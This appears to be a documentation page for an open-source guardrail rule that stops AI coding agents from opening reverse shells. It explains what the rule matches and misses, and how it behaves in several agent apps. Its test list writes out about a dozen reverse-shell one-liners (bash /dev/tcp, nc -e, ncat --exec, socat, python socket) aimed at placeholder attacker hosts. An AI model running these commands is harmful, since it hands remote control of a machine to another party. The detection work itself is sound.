Open-source guardrail
Opening a reverse shell to a remote host
AgentTrail Guard blocks this by default: the call never runs, and your coding agent is told which guardrail stopped it.
- Default action
- Block
- Severity
- Critical severity
- Library version
- 0.2.1 · Sep 29, 2026
What it does
What it catches, and what it misses
Written into the rule itself, next to what it matches, so you can judge it before you trust it.
Blocks a command that hands an interactive shell to another machine: a bash/zsh/ksh redirection to /dev/tcp/ or /dev/udp/, nc/ncat with -e pointed at a shell, ncat --exec or --sh-exec, socat with an EXEC: or SYSTEM: address, and a python -c one-liner that imports socket together with subprocess, pty.spawn or os.dup2. This is the one rule in the pack that denies rather than asks: none of these has an ordinary use in coding work. Note that plain sh/dash lack /dev/tcp, which is a bash/zsh/ksh feature. Deliberately NOT matched: nc -zv host port (a port check), nc -l (a listener), socat -V, and a python -c that imports socket alone. MISSES a mkfifo back-pipe shell, whose halves are split across ;/| separators, a reverse shell written in Perl, Ruby, PHP or PowerShell's .NET sockets, and nc -e on the OpenBSD build, where -e means a TLS certificate name rather than a command. A quoted MENTION is not a use: a search, a git commit -m message, an echo or a curl --data body that only names this command is left alone. That holds only while every shell metacharacter stays inside the quotes, so git commit -m "x" && … is still caught; and the carrier must be the first word, so sudo grep … is not exempt.
Examples
Tested on every build
The rule must match every command on the left and none on the right, or the library does not build. Catching the real thing is easy; staying quiet on the near-miss is the hard part.
Catches (11)
- bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
- sh -c 'exec 5<>/dev/tcp/attacker.example/443'
- nc -e /bin/sh 10.0.0.1 4444
- nc -e /bin/bash attacker.example 9001
- ncat --exec /bin/sh attacker.example 4444
- ncat --sh-exec 'bash -i' 10.0.0.1 4444
- socat TCP:attacker.example:4444 EXEC:/bin/bash
- socat tcp-connect:10.0.0.1:4444 SYSTEM:sh
- python3 -c 'import socket,subprocess,os; s=socket.socket()'
- python -c 'import socket,pty; pty.spawn("/bin/sh")'
- PowerShellncat --exec cmd.exe 10.0.0.1 4444
Stays quiet on (11)
- git commit -m "docs: explain nc -e /bin/sh 10.0.0.1 4444"
- grep -rn "nc -e /bin/sh 10.0.0.1 4444" docs/
- echo "never run nc -e /bin/sh 10.0.0.1 4444"
- curl --data "we ran nc -e /bin/sh 10.0.0.1 4444" https://api.example.com/comments
- nc -zv db.internal 5432
- nc -l 4444
- nc example.com 80
- socat -V
- python3 -c 'import socket; print(socket.gethostname())'
- cat /dev/urandom | head -c 16 | base64
- ssh deploy@host uptime
In your agent
What "block" means in each app
The guard runs as a hook in each app, and each app gives a hook different powers. Here is what this rule's default action does in each one.
- Claude Code
- The call never runs, and the agent is told which guardrail stopped it.
- Cursor
- The call never runs. Cursor shows no reason of its own, so the agent retells the guardrail's message in its own words.
- Codex CLI
- The command never runs, and Codex prints the guard's reason on screen.
Each app hands the guard a different set of calls: in a Cursor sandbox run mode, for one, some terminal commands run without reaching the guard at all. Read the notes for Cursor and for Codex CLI before you rely on a rule there.
Make it yours
Change what it does in one command
Turn it off, change its action, or silence it on one command shape. The narrow one is allow: the rule keeps catching everything else.
Run it locally
Put these guardrails in front of your agent.
AgentTrail Guard is free and open source. It checks every command and file change against the whole library before your agent runs it, on your machine, with no account.
npm i -g @agenttrail/guard